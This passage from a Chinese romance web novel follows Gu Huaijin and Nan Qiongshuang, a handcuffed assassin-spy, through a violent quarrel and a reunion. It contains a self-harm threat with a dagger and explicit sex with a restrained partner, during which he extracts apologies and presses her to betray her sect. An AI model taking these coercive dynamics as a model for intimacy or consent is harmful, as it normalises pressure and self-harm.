顾怀瑾靠着池边,一手按在水池粗糙的石面上,一手死抓着胸口衣襟,苍白的发青的五指,掐在玄黑色的衣褶里,仿佛狰狞白骨。 他皱眉,神智被抽走了似的,眼睫开了又合,眼里一片恍惚混沌。 南琼霜在一旁,吓得快成了一个飘渺的影子,两手被铐着,小心翼翼地尽量抬手,拍他的背。 “怀瑾……” 顾怀瑾没理她,忽而眼睛又力不从心地合上了,按在胸口的手痛苦抓着,青筋迸起,哇的又是一口,呕得人几乎扑在水面上。 血缓缓在水中散开。 他停在水面堪堪两寸处,气喘吁吁地闭了闭眼,强自平复。 南琼霜站在他身侧,嘴唇颤抖着,一个字也不敢多说。 “说话啊。继续。”他漫不经心地掬起水来漱口,将衣领中蓄着的血涮去,两人周身一大团惨茫的血雾,她脸色死白站在他的血里,仿佛血肉中间一根枯骨。 “说啊。继续说啊。怎么不说了。我玩`弄你。继续。” “怀瑾……”她发着抖去抚摸他的后背。 被他一把甩开。 他什么时候甩开过她。这时候,才发现,她没有她自己以为的,那么能接受他恨她。 她去抓他的袖子,吓得连眼泪也没有了,“……我不说了,怀瑾。是我不好,你,你别……” “你何必如此。”他笑意里甚至没有嘲讽,只有事不关己的疏离,甚至还有点快意,“我死了跟你有什么关系?你说吧,继续说。我玩`弄你,我骗你,然后呢?” 南琼霜看着他死人般的神色,斟酌半晌,半个字也没有了,小心翼翼抓住了他的袖子。 “怎么。我吐口血你就不说了。舍不得了?别啊。你不就是想气死我么。想我死。来啊。继续啊。我玩`弄你,我骗你。往下说。” “……我说错话了。你别……”她慌张吞咽了一下,往前跨一步,揪住他的衣襟,“你别生气……” “其实,想我死,何其容易,你又何必用这些话气我。”他忽然笑了,拣起方才搁上了池边的匕首,玩似的摸上了刀锋,刃上顿时擦了一点红血,他笑着将那匕首塞进她手里: “来吧?反正我也是该死在你手里的命。你又何必如此!当年心软一瞬,害彼此苦苦折磨五年,你以为我活下来真就好受了?!我巴不得死在那个晚上!你难道当我真想活?!” 她的眼泪又滚落一颗,忍泪忍得面红,拼命把哽咽吞下。 “来啊!杀了我!事已至此,你还手软什么,不是就想我死吗?!既然这是你的心愿——五年前,相爱时,就是你的心愿——我又如何能不满足!反正我没给你杀了,早晚也要给你气死,要么就是被你逼疯,你今日杀了我,我倒还该感恩!” 她挣扎着,匕首刚塞进手里,顷刻就放手,顾怀瑾哪里肯,抓着匕首就再按回她掌心,将她两手握作一个果核似的,刀柄握在她掌中,朝自己胸口刺去: “来,右边!你记好了!我死了,你倒清净!——你哭什么!” “你别——”她哭得喘不上气,整个人憋红了,拼命摇头,“你别——你别跟个疯子一样——” 她拼命将那匕首往外拔,实在又拔不动,上前一步,“怀瑾——!”扑上去,用力在他手上咬了一口,顷刻一圈血淋淋的牙印。 顾怀瑾总算气喘吁吁放开手,拳头在唇边抵着平复呼吸,她趁机将那匕首咚一声扔进水里,歇斯底里:“你到底想我怎样!” “想你怎样?!这不就是你想我对你做的吗?!来啊!你自己试试!少用这种事情来折磨我!” 他在水中开掌,那匕首竟一瞬间嗖一声又入了他掌心,她一看便头晕,脚一软,扑在他怀中歪了一下,“要杀要剐,要杀要剐,没完没了地挂在嘴边说个不停,你先来剐我一下试试看!” 他又将匕首抵在自己胸口。刀尖向着自己,刀柄向她。 她闭上眼,几乎栽倒在水里。 他……他到底还想折腾到什么时候。 她已经太累了。这一晚上,已经……太累了,她没有力气再吵架。 她靠在他怀里,额头抵着他胸口。 那柄刀子就被顾怀瑾抵在自己另一侧的胸口,她睁开眼,看见刀锋上倒映的自己的面容。 “来啊?” 忽然,隐隐约约地,她贴在他身上,感觉被什么东西……硌了一下。 ……。 “不就是想气死我?!来!” 他这个人,怎么这样。 怎么气成这样,胸口上抵着刀子,可是竟然……。 用刀子抵自己,还……这样抵她。 到底是怎么回事啊,这个人? 她像抓救命稻草似的,一把握住。 顾怀瑾茫然了一瞬,然后大怒。 “干什么!” 第122章 她几乎有一瞬间哭笑不得。 她怎么会在这种时候,想出这种法子的。 今夜,她情绪已经快烧干了,除了疲乏还是疲乏。 他,都已经吐了两大口血,还是别再吵的好。 她终于从惊恐中略微缓了过来——他的力气,哪里是她拗得过来的,假如他真要下手,两个她也掰不回来——心有余悸地喘了两口气。 一面温柔地、缓缓地哄他,一面抬起眼睫,轻轻劝: “别生气了,你消消气, 消消气。我说错话了。” 他眼圈通红,冷笑一声: “你说错话,你整日说错话。才刚见面多少时辰,又是你看错人,又是我玩`弄你。……别动!谁看错人?!我订过婚的人是个细作!谁看错人?!难道我父母兄长皆被往生门所害,我自己在订婚夜被爱人一剑穿胸——别动!” 他怒得嘭一声又击在温泉中,水霎时四面八方喷炸开,她缩着脸躲了一瞬,更加好脾性地哄他,“镇山玉牌失窃,门派一日倾颓,往生门中人落到我手上,我还要分辨谁有关、谁无关,谁有罪、谁无辜?!你未免太拿我当圣人了!你以为我……放手!” “好了,对不起。”她真怕他又开始呕血,惶惶不安贴在他怀里,难得摆出点柔软姿态,一面耐心按摩,一面凑到他唇侧,呓语般道: “别气了,听话。我服软了嘛。你看看你——” “你这是干什么。”他垂着眼睫,既没躲,也没有笑意,冰寒着神色。 他那副表情,在国师顾怀瑾脸上,应算常见。可是她,怎么看,怎么不适应。 “我没干什么。”她指甲刮了一圈,他咄咄逼人的字眼立时全噎住了,一手拥住她,一手撑住了池边,垂下头强忍。 “放开。我没心情跟你闹!” 虽然这样说,他按在她后背上的手,又不自觉勾住了她的腰。 不知为什么,他手掌覆到哪,她鸡皮疙瘩就蔓延到哪。粗粝的掌纹,隔着湿透如米纸一般黏在身上的衣裳,几乎将她熨得麻了,她提心吊胆地将掌心转了一圈。 他撑着池边,强喘几声,闭了闭眼。 “到底要干什么!我在跟你说话!” 如果能靠这一招,大事化小、小事化了,是再好不过。 不论怎样,至少今天晚上,他不能再激动了。 “哄哄你嘛。跟你赔礼道歉。”她很喜欢它的乖顺。 “你少跟我马后炮!先是把人气个半死,回头又……不准动!” “我没动嘛。你现在好凶。” 顾怀瑾不敢置信地抬眼,“你还记得你刚刚说了什么糟心话吗?!现在跟我装若无其事?!我早晚有一天要让你给——” 话又断了,他搂着她喘着,单手撑在水池边,忍得痛苦。 “我说错了。以后我不说了。你别生气,别吐血。” “莫非你以为这样我就……” 他又说不出来话了。 怀瑾吃这一套。她松了一口气。 “你到底要干什么!”顾怀瑾一肚子火憋着仍未发完,骤然给逼回了喉咙里,心中何其不甘,难道她以为他想要,就会糊涂到任由她胡闹,连那种匪夷所思的话都叫她搪塞过去吗?! “放开。我跟你说了放开。难道你想一见面……你少招我!” 他嘴里说着这种话,但不知为何,已经将她紧紧抵到了水池的石壁上,一只膝盖,别开她双膝。 一手扶住了石壁,一手抓着她的腰,杀气腾腾地逼到她眼前,两人额头几乎贴到一处,他在她鼻尖半寸开外,长吸一口气: “——为什么说我玩`弄你。” 她心虚瞥开眼。 顾怀瑾咄咄逼人,悬在她脸前,甚至不由她偏开脸躲避,“说。凭什么说我玩`弄你。你以为……!”他形容几乎狼狈,咬牙强撑,“你以为你做这些事,谁都原谅得了?!谁都肯放过?!没良心的家伙,不知好……歹!” 他垂下头,不知何时,已经喘息得如一个害了病的人,滞重的水汽入了他的肺再呼出来,燥热得几乎沥干了水分,喷在她面上,连带着她也口干舌燥。 这回,他许久没说出话。 水声潺潺的长生泉,热气水珠堆积在一处往上蒸腾。她在他怀里,仿佛被他禁锢了起来似的,燥热闷窒难当,手又被捆着,一时胳膊都酸了,轻轻唤: “怀瑾……” “干什么。”他抬起头,抠住水池边的那只手,已经绷得发颤,眼神迷离又阴戾,看着她,一面恨怒,一面涣散。 “……你别气了。”她乖乖地去吻他。 顾怀瑾毫无动容,眼睫垂了一些,但由着她吻。 “为什么说我玩`弄你。”他压着眼帘,“我哪里玩`弄你。竟用这两个,字来……”接着懊恼大怒,锤得水面炸开,“你这才叫玩`弄!” 她控制不住地喷出一声笑。 顾怀瑾当即阴晴不定地睨着她。 她不敢笑了。 “笑什么呢,刚刚。”他忽而下了什么决心似的,面上那种强耐自控的神态消失了,好似打着算盘,将挡住山洪的水闸撤走,不怀好意地将撑在池边的手收了回来,缓缓地、不善地,从她尾巴骨攀上来搂住她,两根手臂,仿佛两条有力的蛇,捆住她,摩擦。 她骤然感觉后背压了两只大掌。粗糙的掌纹,拨乱她的理智和肌理。 “你别乱动……”她闭了闭眼,又睁开。 “谁乱动?谁乱动?不是你要的吗?你要什么我不给?” 他开核桃似的,恨恨掰开她的手,扶住她的腰,往上一抬,把她举得更高些,架在池壁上。 她身上一阵战栗。 夜深人静,万事俱备,蓄势待发。 她倒是被架了上去,进退不得,骑虎难下。 “说。为什么那样说我。” 她手被捆着,难以平衡,往后仰了仰。 “我说了是我揣测错了……” “你一向如此揣测我!”他恼恨的一句怒吼落地,一阵惊雷霎时将她从头到脚贯穿,噼啪地从身体深处炸进天灵盖,燎得她睫毛都快烧起来。 她也不知自己是痛苦还是什么,一阵难耐的压抑的低泣,顾怀瑾撑着墙,缓缓地、缓缓地动作,“怎么对你说爱你,也不信。怎么对你说不伤你,也不听。怎么对你说,有事对我说,我们一起面对,也不听,就要当耳旁风!怎么!不信我,你就很聪明!” “你是不是以为天底下就你聪明!谁也不信,谁也不听,自己一个人背地里乱揣测——连我玩`弄你这种话都说出来了!你就是这样揣测我的!当真是捂不化的没良心的东西——” 她哪里有余裕说话,便是他要骂,也只有气若游丝地任他骂的份。 “当年,你能狠下心下手,不知又自己揣测了我什么!”她在温泉水的颠簸中,骤然听见这句话,仰着头,眼角缓缓滑落一颗泪,“朝瑶峰那段日子,我就总觉得你不对,整日昏睡,神色恹恹,看我一眼顷刻就瞥走,仿佛没我这个人一样!” “问,也不说,哄,也不听,以为你变了心,可是又看着我莫名其妙掉眼泪——”他说到这里,更加火冒三丈,“你以为,如果对我说,我会叫你受那么多罪!?你以为,跟我坦白我会怪你吗?!如今我都不伤你,你以为当年我会怪你?!非要到了——事情无法挽回——” 她睁开眼睫,由内而外地哆嗦,两行泪滚滚而落,“你别说了——别说了怀……瑾,真的好累,我不想听……” “你不想听。你理亏了就不想听了!”顾怀瑾气得笑了一声,愈发含恨,周遭的水一波一波哗啦地漾出温泉池,连被架起来的人都身不由己地随水动漾,她脑子里一派昏昏沉沉,只觉这人今天仿佛一条沙蛇,不仅擅于钻潜,还要缠上她的心脏,咬得她陈年旧伤鲜血淋漓。 又一颗泪,颤抖着滑落,随着她的起伏曲折。 为什么只是做这种事?为什么不处置她? 她希望他处置她,不过是因为——假如他现在都不肯动她分毫,那当年,假如坦白,他怎么会伤她?! 如果他不会伤她—— 那她刺那一剑,到底是图的什么?! 那么痛的决心,她什么也没得到。 等到失去了,才发现,她想要的,曾经全在手心。 是她自作聪明、自己放弃了。 以她唯一爱过的人的整个人生,为代价。 她哭得难以自抑,尽管所有感官都在揪扯她的神经,她依然只有痛苦:“你别说了……真的别说了……我知道了,你真的不要再说了……” 不要……再提醒我,当年选错了。 就当仁慈。 顾怀瑾粗`燥地喘:“道歉。” 她含着泪一哂,浓重的自厌和自嘲,“你怎么能只要道歉。” “这不是在要`你。”他埋首进她颈窝,啮啄她的锁骨,往下吻开,寻一颗核,“道歉。” 她连手指尖都在颤抖,嗓子不知何时已经哑了:“……对不起。” “说,”他撑着墙,专心等,“‘求你原谅’。” 她不喜欢求人,也一向觉得,她毋需任何人原谅。 顾怀瑾与别人到底不同,她犹豫了一瞬。 她一游疑,他顿时更怒,她不免身不由己、缠绵哀切地惊叫了一嗓,叫得连自己也吓一跳,差点失去平衡栽下去。 他扶住她,怒气仍未消,“求我原谅!” “求……”她话刚一出口,顷刻又被他揉碎打烂,半天卡在喉咙里吐不出来,仰颈嘘叹。 “说,”他道,“求我原谅!” “你……”他这样子,简直是折磨,哪里有容她说话的份儿,“求你……求你原谅。” 他终于得了他想听的话,阖眼安静了半刻。 半晌,他睁开眼睫:“盘腿上来。” “嗯?” “去那边。” 她有点心慌:“你干嘛……” 他不答,搂着她的腰和背,抱孩子似的拥着她,淌过整片温泉,把她平放在入口一级一级低矮的石阶上,让她半边身子,仍然浸在温泉水里。 长生泉本是他的私泉,这次借给她用,他特意叫丫鬟往水中洒了茉莉和玫瑰。密密麻麻的花瓣敷在水面,到了石阶附近的浅水,花瓣就更多,堆得几乎看不出台阶,人躺在阶上,仿佛躺在花丛中似的。 他轻轻地、轻轻地,把她的头安置在石阶上:“这里稳些。硌么?” 这么久,她早已腰酸,神智也有些不清,睁着眼睛看天花板的烛火,火焰周围有一团毛玻璃似的晕轮,她喘着气:“还好。” 他将她缚在一起的双手高举过头,再度两手撑在她身侧,心满意足地听见她在耳畔唔了一声。 她动情时的声音,五年前,他就日也思、夜也想,想得抓心挠肝,却一直不曾有幸得闻。 她多会挑时机啊。杀他那天,他终于敢动了这念头,就被她一剑打断,戛然而止了。 觊觎之物,越得不到,越惦念。以为将要得到,得了一半,燥渴未解,被人打断,就惦念再惦念,直至刻骨蚀髓。 他不知道多少个夜晚,是做着今日这种梦入眠的,哪怕是他入了空门的那些日子。 他多想啊。 他低下头。身下人仰在石阶上,迷离失神,醉了一般微张着口,蔷薇色的双唇微微翻翘着。粉色的白色的花片堆在她周身,她雾气一般的白衣迤逦下几个台阶,在水里轻漂着,仿佛一个走投无路、神色靡靡的落难仙子。 她的白衣规律地在阶上拖曳扯动起来。他去吻她湿润的睫毛:“这种事,想过么?” 南琼霜如今听他说话,只觉得声音遥遥,虽然他就在她面前。 满涨得直发酸,不管是心上,还是别处,都发酸。她几乎不知道自己是谁了。 这就是她那些梦的下文吗?生离死别,天各一方,然后阴差阳错地重逢。 再见面,又是刑具,又是匕首,大吵好几架,什么都没谈拢,什么都没聊出来,莫名其妙地,就先纠缠起来了。 她真的没做错么?真的该跟他…… “想过么。”他垂首下来吻她。 她忍过新的波浪,眉头蹙了一瞬又展开,“嗯。” “想我了么。” 她眼神聚了点焦:“嗯。” 他含笑下去吮她的唇:“怎么,这种时候,就不会嘴硬了。” 她手被绑着,动弹不得,伸长脖子呜咽一声,泪花点点:“讨厌。” 他还想跟她说说话。可是,她不知他怎么还有精神说话,她简直要晕了。 他温柔说了许多,她没听见,浑浑噩噩地应,看着天花板上迷蒙的灯烛。 他的脊背,挡住一切,她连灯烛都看不见了,只能看见一圈朦朦的光。 远远的,是水的声音。一下一下一下,规律地被带上台阶,拍击着。她恍恍惚惚阖了眼,听见脑海里一阵嗡鸣。 她的心跳。血管的嘣嘣跳动。她的呼吸,还有他的。 两个人的血和爱的潮汐。 她的耳朵,被她自己的血流堵塞了,隔绝现实,围截外界。她莫名有一种感觉,自此,再也不必清醒,整个世界到此为止,就在他的吻里、到头了,再走下去,就是灭亡,所以清醒的人,反而是傻子。 “乖乖。”他忽然唤她。 她迷茫地抬起眼。 “你叫什么。” “你不喜欢我叫?”她甚至不觉得这话哪里不妥。 他哑然失笑:“我说你的名字。” 她连指尖都麻痹了:“……霜。” “什么霜。”他去吻她的唇。 知道她大概不想说,那一瞬间,他故意将她抛上空中。 他如愿以偿地听见她慌张又惊惶的呼救。 一点晶莹的泪从她眼角滑过,她颤抖着痉`挛,像个劫后余生的人,神智出窍、惊魂未定、气喘吁吁,哆嗦着牙关: “……南琼霜。” 第123章 南琼霜睁开眼,入目是四象塔简陋的床帏。绢纱质地、佛头青色,朴素得近乎沉闷。 如今,顾怀瑾厌烦热闹,厌烦得紧,他的住处,一丝饰物也无,尽是硬直的木器具、木桌,床榻硬得几乎能将人硌痛。 她原本身上就痛,床榻这么硬,就更痛,拼尽全力动了动腿。 疼。哪里都疼。浑身酸软得几乎要散架。 枕边人依旧睡着,呼吸平缓匀稳。 昨晚,在长生泉中折腾了那么一大通,她以为总算好了,谁知这人似乎是五年里憋得狠了,不论如何不肯放过她,石阶之后又是池边,池边之后又是他的密室,她铐着两手被按着又坐又卧又跪,又被他密室里那只吱呀的摇椅晃得脑袋疼,到最后,连哭叫都没有了力气。 那密室的另一端,有一个出口。等到他终于满意也终于泄了愤,抱着半死不活的她从摇椅上起来,就拧弯了墙上那支生锈的烛台,带着她进了另一间房。 四象塔内,他的住处。 长生泉、密室、四象塔,原来是连在一起的。 她又阖眼阖了两刻。眼皮依旧沉着,可是,不论如何,该起来了。 她艰难坐起身来。身上实在太痛了,骨头跟骨头之间仿佛错了位,浑身的筋打了一连串的结,轻轻一动,身体里面,就丝丝的疼,疼得她直嘶气。 她心乱如麻地捂住半边脸。 昨晚……到底做了什么啊。 怎么会做这种事情的。五年没见,连句话都不曾说过,隔着城墙厚的血仇和乱麻般的心结,第一回独处,竟然直接到了这一步。 他们两个是不是都不大正常? 她掀开被子。 手臂上吻`痕斑驳。 她面无表情地又把被子盖了回来。 ……怎么连手臂都。 她无言看向床榻外侧的人。 他仍闭眼睡得安稳,长睫密实,在眼睑处投下一点锯齿形的小影子。 ……他当然累了。 她简直不明白,一个刚吐了两口血的人,怎么会有这个精神头,没完没了地折腾一晚上的。 她也不是不劝,也问过。——“你真的不累么?刚刚还功法反噬了。” 他只给她三个字:“先不管。” 南琼霜捂着脸,疲乏地、长长地,叹了口气。 这么做,真的对么。 最后一步,不做还好,做了,两个人可 真就难以断掉了。 她真的该跟他纠缠吗?就算还有爱,就算顾怀瑾对她,似乎也有爱,可是,真的还该纠缠吗? 他们中间隔着的,毕竟太多了。她又有了新的目标、新的任务。 要从往生门赎身,一共需要五个任务。她这已经是第五个了。嘉庆帝又已经爱上了她,万事俱备,只待收网。 即便算上当年心软放他一马,欠下的半个任务,也不过就一个半。 她在往生门内拼死拼活卖命十二年,总算走到这一步,其中艰难,唯有她自己知道。 十二年的心血,这样下去,莫不是要全断送了。 她揉着太阳穴,简直不知道自己在做什么。 即便说,顾怀瑾还爱她。 可是,连她的名字,他都才刚刚知道,更不要说两个人之间的仇怨了。 危楼一般的爱。 她不明白自己昨夜是怎么放弃了理智、放纵了肉身,心甘情愿地上了这座危楼的。 顾怀瑾在睡梦中朦胧感觉到身旁相依偎的人空了,衾被扯起一角,他睁开眼睛。 身后一个温暖的胸膛靠了过来,将她搂在怀里,皮肤相蹭,光滑地彼此相贴,令人踏实的温度。 她难以抵抗地叹了口气。 顾怀瑾低下头,长发丝丝缕缕顺着她的锁骨垂到胸前,痒得她身上一阵战栗,他密密地吻她的肩头,一面按揉着她的腰。 “累不累。” “能不累么。”她挺了半晌,终于还是靠进他怀里。 每回,想着该离他远些,他一过来温柔以待,她就难以抗拒。 “昨晚我太没分寸。”他爱昵吻着,又从她的锁`骨一路吻开,忽然一惊,“怎么全是。昨晚我亲的?” 她叹了口气,仰在他怀里,转着他的头发玩,“不是你是谁。” 他顺着去衔她的唇,听见她低叹一声,他道,“今晚不要了。你歇歇。”(审核,亲的是嘴。) 今晚。 她倏地清醒了,推开他,坐起身。 他惴惴而沉默地看着她从自己的怀里坐起,刻意隔开距离一般,挺直了紅`痕斑驳的背。 他其实知道她在想什么。他也在想。 只是,眼下的亲昵太稀罕,或许从此以后都没有了,他自欺一般不想打破。 她道:“皇上只容许我在无量山上待两天。” 他垂下眼沉默。 半晌,掐着她的腰将她拖过来,又开始啄她的背。 她那么自诩清醒的人,一时也由着他没躲,半晌,听见他道:“两天,不可能。” “皇上说……” “我会去信。” “两天以后,你还不放人,摄政王会发话催你。”她打定主意站起了身,将头发拢到右肩,走去镜子前看肩上的咬痕,“他跟我说好的。” 听见这个名号,他也没有发作,苍白着脸闭了眼。 “你跟他到底是什么关系。” “这是顾先生该关心的么。” 她在镜前轻巧地转了一圈,看了看全身的样子,只见全身几乎没一块地方是好的,无可奈何地叹了口气。 “有没有药?” 顾怀瑾与她从容如常的眼神对上。 她何以如此平静,顾怀瑾简直困惑。昨夜那般动情又动人,紅着眼圈什么好话都对他说了,眼睛一睁,人又跟个冰坨子一般。 他如今才看明白,南琼霜这个人,唯有哄他和心疼他时,会露出些当年楚皎皎的柔软神态。哄他的话和语气,与当年如出一辙,可是平常的神态,简直判若两人。 她清冷,淡漠,傲慢。人生得白皙纤瘦,可是,谁也不放在眼里,谁也不放在心上,看一眼就轻飘飘瞥开,仿佛人人如云烟,过眼即忘。 就好像,昨天那个被他吐血惊得紅了眼眶的人,不是她似的。 “还有,我的药丸、暗器、戒指呢?那些东西,你不能收走。放哪了?” “没到给你的时候。”怎么这么急着说这些话?他还没想好要如何对她。 “什么时候给我?” 他偏开头没说话。 半晌,张开手臂:“过来抱一会。” 她看了一眼,敛起神色,自顾自在架子上找药。 “昨晚已经是不该。” “不该什么。不该爱我?还是不该做?” “都不该。” 他抿着唇无言。 其实,他如何不明白,她说得对。 昨夜,来长生泉与她对峙,他原本真是想好了,要放下私事,专心逼问往生门与门派之事的。他甚至想好了策略:威逼——那一大桌子刑具;利诱——告诉她可以原谅她。 他满心以为,过去五年,他已将一切都想明白,心志坚强如铁,双管齐下,必定会逼问出什么。 不想,这个人油盐不进,软硬不吃。 更加没想到的是,两个人只要见了面,没一个能理智的。吵着吵着就哭了,多吵两句又心疼,再多两句莫名就亲了抱了,到最后,什么都没问出来,就完全无法收场,他简直不知道以后要如何一个人泡长生泉。 他究竟在做什么啊? 她说得对,“都不该”。 可是,她想明白后,立时就一点温存也不给,盼望对方心软的,反而是他。 她比他果决,比他清醒,对就是对,错就是错,不该做就是不该做,没有自欺的余地。 她竟然是这种人啊。无怪她会歇斯底里地哭着对他喊“你究竟知道我什么”。 他道:“药罐在架子第三层。书挡到了。过来,我替你上。” 她拿着药罐,一半长发披在胸前,一半长发垂在背后,吻`痕斑斑,神色坦然,倒是他心里有鬼,不敢看。 “你看你把我咬的。亲也就罢了,咬我做什么?” 她坐到榻边,背对着他,将背后的长发尽数拨到单侧肩上。 乌发一拨开,他才看清昨夜究竟怎样吻过她,头一阵痛。 他昨晚究竟抽的什么风啊。 他蘸着一点微凉的药膏,覆到她肩头那个结了一半痂的牙印上,她登时轻嘶了一口气,羽扇般的长睫阖了一瞬。 他垂下眼。 怎么这么好看啊。 有时候,他真恨她那种美丽。 “疼么。” 他一点一点,将她身上每个渗血的印子都蘸上薄荷味的药膏,小心翼翼地涂开。 “不疼。” “所以,”他一面替她上着药,一面平静道,“你根本不会因为小伤叫痛的。” 她笑了一声,终于有一天,她能够给他看这一点,心里不免轻快,“别说小伤,我坠崖坠马都不会吭一声。不然,你以为我怎么敢跳瀑布?” 他一时无话可说,手指轻轻带过她肩背上一道道发白的伤疤,抚摸着,激得她身上一阵酥痒:“怎么这么多疤。” “细作都这样。”她语气完全无所谓。 “是往生门?还是别的……” 他说不下去了。别的任务,就是别的男人。 “都有。”她无聊转着自己长发 ,“不是所有人都会像你这般善待我。有时候,要吃点苦头。有时候,不仅那些男人,男人身边的女人也会给我吃苦头。” “你爱过他们吗?” 闻言,她挑挑眉笑了,回头看了他一眼,眼里有种轻慢的恶意。 “全死了。你说呢?” 他沉默许久,最后只能垂下眼上药。 一直以为她柔弱。不想,什么苦都吃过。 “我当真是……从未认识过你。” 所以,她才会完全崩溃地对他喊,“我不知道你爱我什么”。 她赞同地点头,两腿在地上伸直了,一双纤足无聊地晃来晃去:“你知道就好。”垂着长睫,轻声地,出神一般,“所以,不要再说什么爱我。” “那么,那些心疼我,也是演的吗。”他将药罐拧紧,放在一边,从背后环住她的腰,不知为何,心里好似风雨飘摇中的浮萍一般无措也无依,唯一的法子是将她搂紧,可是就算搂紧,也不靠近,并且,他其实也不知道,是否仍该搂紧她。 “你指什么。” 她没躲,由着他弓下身子搂她,甚至由他把自己压弯了腰,耳鬓厮磨在一处。 他的心稍微落了实地,从她的指间扣住她的手。 “昨天。” 他吐血时,她那种惊慌和心痛,哄他的语气和方式,跟当年的楚皎皎倒是完全一个人。 “昨天,我没有演。” 得了她这句话,他又去垂首吻她的额角,手拨开了片片覆合的花苞,她委在他怀里,心弦被他拨弄着,又有些失神,游丝般的气从微张的唇衔入又吹出,被他吻住,封在口里。 她轻急呼吸着道,“再见面,就没有对你演过了。” “没有。”他冷笑一声,贴在她脸侧吐字,一面毫不留情地惹她咬着唇嗯了一声,“不是天天在我面前演。跟皇上演伉俪情深。这回,要杀他?” 她说不出话,仰起头,颤抖着睫毛忍耐异物感。 “跟皇上演情深,那跟摄政王又在演什么。”他缓缓地报复,“说。” “怀瑾……”她难以承受,这木榻实在太硬,打开来坐,硌得人骨头痛,“你不是说……” “说。”他不容置喙,“你明知道我最厌他。” “我跟摄政王又能有什么。”她忍得缩成了一团,把他胳膊掐出些紅`印子,“当年,就只,是朋……友。再相见,朋,朋友还是朋友……有什么不能……你别……” “对。跟他是朋友,跟我从前订过婚。出了事,朋友仍是朋友,旧爱相见,就分外尴尬,跟个对你有心思的朋友一起来对付我。”他含恨弯了指节,惹得她咬着手指嘘叹一声,“乖乖,你就这么对我?” 她仰在他怀里,只能长吁短叹:“怀瑾,太累了,昨天就……” “你爱他吗。”他拨着桃心一点核尖。 怎么这么不近人情。她搂着他的胳膊,躲进他的手臂下。 “爱他吗。”他垂着眸。 “我爱个屁……”她发丝蜿蜒着乱铺在胸前,又是泪花点点。 这种时候,她就问什么都承认,说什么都服软,怎么做都乖顺了。 只有在这种时候,才看得见他了,才在乎他了,才肯抱着他的胳膊唤他的名字了。 从前楚皎皎那一面,或许不全是假的,只是,他被她归入了“不该”一类,那一面,再不肯对着他了。 只有她动情,或者他受伤,她才有些当年的熟悉情态。 要他怎么办好? “爱我吗。”他更加发狠。 她身不由己地低泣。 但还是勉强拼凑出一丝理智,在他怀里,强撑着清明,紅着眼圈:“你知道我是谁吗。” 为什么里子都完全交融了,两个人还隔着这种问题。 “其实,你并没有跟从前完全不同。”他吻着一点桃晕,“有些时候,跟从前一样。心疼我的时候,或者,就像现在……” 那一吻,她闭紧了眼。 “我们真的该……” 他吮`着:“只要你背叛往生门,就可以。” 她腻人的低呼骤然停了,小心呼吸。 “背叛吗。”他去吻她的唇,缓`磨着,“说吗。” 第124章 她筋疲力竭地阖了眼,吞咽了一下,不说话。 她的沉默是什么含义,他不必问也懂。 任他再怎么磋磨,她始终叼紧了唇瓣,不肯再出声了。 “为什么。”他低下头去狠咬她的唇,任她急切的呼吸喷在自己口中,“为什么就非对他们效忠不可了。为什么对他们这么忠诚。都容许我做到这一步,你的心还在往生门那边?” 她不说话。不知是说不出,还是借着喘`息刻意搪塞。 “说话。你就这么信任他们?他们的行事作风,你认可?还是你觉得,当一个细作,以刺杀为生,很痛快,很过瘾?” 她在汹涌的浪潮中拼尽全力睁开了眼,眼圈红得像桃花,可是眸子里,一点水刀般的锋芒:“再瞎说,就算了。” “算了?什么算了?你又要走?去哪?我们刚见面没一天,就连这种事都做了,现在你跟我说算了?昨天晚上哭着说爱我的不是你?” 她仰在他怀里哀哀嘘气,听了这话,恼恨在他胳膊上拧了一把。 “你以为就你想断?我不想断?你以为就你一个聪明,就你一个觉得不该?我是想断,断得掉吗,一见面就到这一步?这么多年,我每天晚上梦里都是你——我是想断,断得掉吗!” 为什么一面相连,一面说想断掉。 “你不要对我说什么你断得掉。你身边多少帮手,都没看出我认出了你,就你一个知道。你东奔西跑四处求助,谁信你?我们的事,就只有我们两个明白。断掉?!怕是你我愿意,缘分还不许!” “那你想……怎样。”她渐渐终于受不住,抓着他的胳膊攥紧了。 “说。”他俯首下去,在她耳畔咬着牙吐字,“往生门的事。一五一十,全告诉我。你若肯叛了他们,我不是不能原谅。” 顾怀瑾怎么也没想到,她会潮红着脸颊,嗤笑一声。 “原谅?顾怀瑾,你不要……再跟我说这两个字了。谁会信?你原谅我,什么?又是因为什么,原谅我?难道就因为我心软,放过你,给你写过平安牌?难道我放过你,玉牌就,不是我偷的,门派就不是因为我,倒的,你的……你的伤不是我刺的?” 他明白了一点儿:“我不原谅你,你倒痛快?” 她带着一点伤人也自伤的残忍笑意:“对。” 顾怀瑾终于撤了出来,下了榻,两三步走去将手洗了,一句话没有,穿衣下塔,连头也没有回。 南琼霜一个人坐在平硬的木榻上,面无表情地僵了许久。 顾怀瑾没有抛下她一个人过。 从前在朝瑶峰上,他要下山,都是他求她跟他一起下去,她不答应,他会心伤许久。 半晌,她终于闭上眼,缓缓地捂住了脸。 四象塔与长生泉连通着。 昨夜,折腾了那么一大圈,她身上早已粘腻不堪,大清早的,就回到长生泉中泡着。 长生泉与昨夜无异。雾气寂静蒸腾,白汽氤氲,偶尔有水滴滴落,砸破水面,滴答一声。 她脱了衣裳,自低矮的敷满了花片的石阶走入水中,尽量不去多想什么。 入了水,身上大大小小的伤口,一丝一丝的痛。 昨天,在这里吵得这么厉害,如今就她一个人,真是安静了。 水雾里,她闭上眼睛。 其实,也许是她话说得太过了,惹得他伤心。他那个人,不是真伤心了,不会一言不发地撂下她走的。 但是,她也不是有心伤他。 原谅。这两个字,她听见就难受——说实话,他真对她用刑,她倒好受些。 为什么非要到现在,才让她明白,他不论如何不会伤她,为什么要到无法挽回的时候,才告诉她,她选错了。 她受不了,捂着脸,呜呜地一个人哭起来。 但是,事已至此,也还是面对现实吧。 她哭了一阵,掬着水洗了脸,出神地拨弄水面的花瓣,敷了满手臂。 虽然,他今天被她的话伤了心,可是,倘若他们藕断丝连,彼此伤心的日子还多着呢。 她能为了爱,放弃过往十二年的心血吗? 那不是南琼霜的秉性。 即便有朝一日,她要背叛往生门,这么一场豪赌,基石也不能是情爱。 男女之爱,太不牢靠了。她靠男女之情行刺,她能不懂么。 但是,只要她不叛,顾怀瑾必然是要受伤。 他们之间,除非把她过往的坚持和心血都打碎,否则,早已没有破镜重圆的可能。 即便,退一万步讲,她真的糊涂到把过往坚持的一切都打碎,他们也是——隔着门派之仇。 破镜有隙,终难重圆。 她不应再幻想任何。 她在白吞吞的水汽里,格外疲乏地,阖了眼。 ——当年兰阁禁地一别,回不去了。 不过。 她身上炸开一层火花,骤然睁开眼。 雾刀呢? 